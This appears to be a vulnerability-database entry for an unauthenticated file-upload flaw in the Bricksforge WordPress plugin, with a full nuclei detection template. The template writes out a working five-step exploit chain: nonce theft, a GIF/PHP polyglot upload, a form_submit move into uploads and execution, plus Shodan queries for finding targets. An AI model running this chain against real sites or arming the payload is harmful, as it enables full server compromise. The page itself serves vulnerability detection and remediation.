HexBrain

Browse / CVEs / CVE-2026-85097

CVE-2026-85097· bricksforge / bricksforge· CWE-434

Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload

criticalseverity
9.8CVSS score
3.3%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

Bricksforge WordPress plugin versions up to and including 3.1.8.9 are vulnerable to unauthenticated arbitrary file upload leading to remote code execution. An attacker obtains a wp_rest nonce via the bricksforge_regenerate_nonce AJAX action, uploads a GIF/PHP polyglot through the form_file_upload REST endpoint with the nonce in the X-WP-Nonce header, then triggers form_submit to copy the file to the WordPress media uploads directory where it executes as PHP. Requires a published Bricks Pro Form with a file field on the target; the post_id, form_id, and field_id template variables must be set accordingly.

Impact

An unauthenticated attacker can upload and execute arbitrary PHP code on the web server, leading to full server compromise.

Fix

Update Bricksforge to version 3.1.8.10, 4.0.1, or later.

How to confirm it

Send: GET /wp-content/plugins/bricksforge/README.txt ; GET /wp-content/plugins/bricksforge/readme.txt
Positive when: contains "bricksforge" AND status 200
Send: POST /wp-admin/admin-ajax.php
Positive when: status 200
Send: POST /wp-json/bricksforge/v1/form_file_upload
Positive when: matches /"file"\s*:\s*"((?:\\/|/)[^"]+\.gif)"/
Send: POST /wp-json/bricksforge/v1/form_submit
Positive when: status 200
Send: GET /wp-content/uploads/{{up_year}}/{{up_month}}/{{probe}}.php
Positive when: contains "{{marker}}" AND status 200

Run it with nuclei: nuclei -id CVE-2026-85097 -u <target>

The full check
id: CVE-2026-85097

info:
  name: Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    Bricksforge WordPress plugin versions up to and including 3.1.8.9 are vulnerable to unauthenticated arbitrary file upload leading to remote code execution. An attacker obtains a wp_rest nonce via the bricksforge_regenerate_nonce AJAX action, uploads a GIF/PHP polyglot through the form_file_upload REST endpoint with the nonce in the X-WP-Nonce header, then triggers form_submit to copy the file to the WordPress media uploads directory where it executes as PHP. Requires a published Bricks Pro Form with a file field on the target; the post_id, form_id, and field_id template variables must be set accordingly.
  impact: |
    An unauthenticated attacker can upload and execute arbitrary PHP code on the web server, leading to full server compromise.
  remediation:
    Update Bricksforge to version 3.1.8.10, 4.0.1, or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-85097
    - https://github.com/BlackHatExploitation/CVE-2026-85097
    - https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-85097
    epss-score: 0.03287
    epss-percentile: 0.88577
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 5
    vendor: bricksforge
    product: bricksforge
    framework: wordpress
    shodan-query: 'http.html:"wp-content/plugins/bricksforge"'
    fofa-query: 'body="wp-content/plugins/bricksforge"'
  tags: cve,cve2026,wordpress,wp-plugin,bricksforge,file-upload,rce,unauth,intrusive,vkev

variables:
  marker: "{{rand_text_alpha(12)}}"
  probe: "{{rand_text_alpha(8)}}"
  gif_name: "{{rand_text_alpha(8)}}"
  post_id: "6"
  form_id: "frmaaa"
  field_id: "file"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /wp-content/plugins/bricksforge/README.txt HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/plugins/bricksforge/readme.txt HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bricksforge"
        case-insensitive: true
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: bf_version
        part: body
        regex:
          - 'Stable tag:\s*([0-9.]+)'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=bricksforge_regenerate_nonce

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: json
        name: bf_nonce
        part: body
        json:
          - ".data.nonce"
        internal: true

  - raw:
      - |
        POST /wp-json/bricksforge/v1/form_file_upload HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{bf_nonce}}
        Content-Type: multipart/form-data; boundary=BFProbeUpload7391625

        --BFProbeUpload7391625
        Content-Disposition: form-data; name="file[]"; filename="{{gif_name}}.gif"
        Content-Type: image/gif

        GIF89a<?php echo '{{marker}}'; ?>
        --BFProbeUpload7391625--

    matchers:
      - type: regex
        part: body
        regex:
          - '"file"\s*:\s*"((?:\\/|/)[^"]+\.gif)"'
        internal: true

    extractors:
      - type: regex
        name: tmp_file_path
        part: body
        regex:
          - '"file"\s*:\s*"((?:\\/|/)[^"]+\.gif)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-json/bricksforge/v1/form_submit HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{bf_nonce}}
        Content-Type: application/x-www-form-urlencoded

        postId={{post_id}}&formId={{form_id}}&formIdFallback={{form_id}}&fieldIds=%7B%22{{field_id}}%22%3A%22{{field_id}}%22%7D&temporaryFileUploads=%5B%7B%22field%22%3A%22form-field-{{field_id}}%22%2C%22file%22%3A%7B%22file%22%3A%22{{tmp_file_path}}%22%2C%22url%22%3A%22{{Scheme}}%3A%2F%2F{{Hostname}}%2Fwp-content%2Fuploads%2Fbricksforge%2Ftmp%2F{{probe}}.php%22%2C%22type%22%3A%22image%2Fgif%22%7D%7D%5D&form-field-{{field_id}}=

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: up_year
        part: body
        regex:
          - 'uploads\\?/(\d{4})\\?/\d{2}\\?/[^"\\]*\.php'
        group: 1
        internal: true

      - type: regex
        name: up_month
        part: body
        regex:
          - 'uploads\\?/\d{4}\\?/(\d{2})\\?/[^"\\]*\.php'
        group: 1
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/{{up_year}}/{{up_month}}/{{probe}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from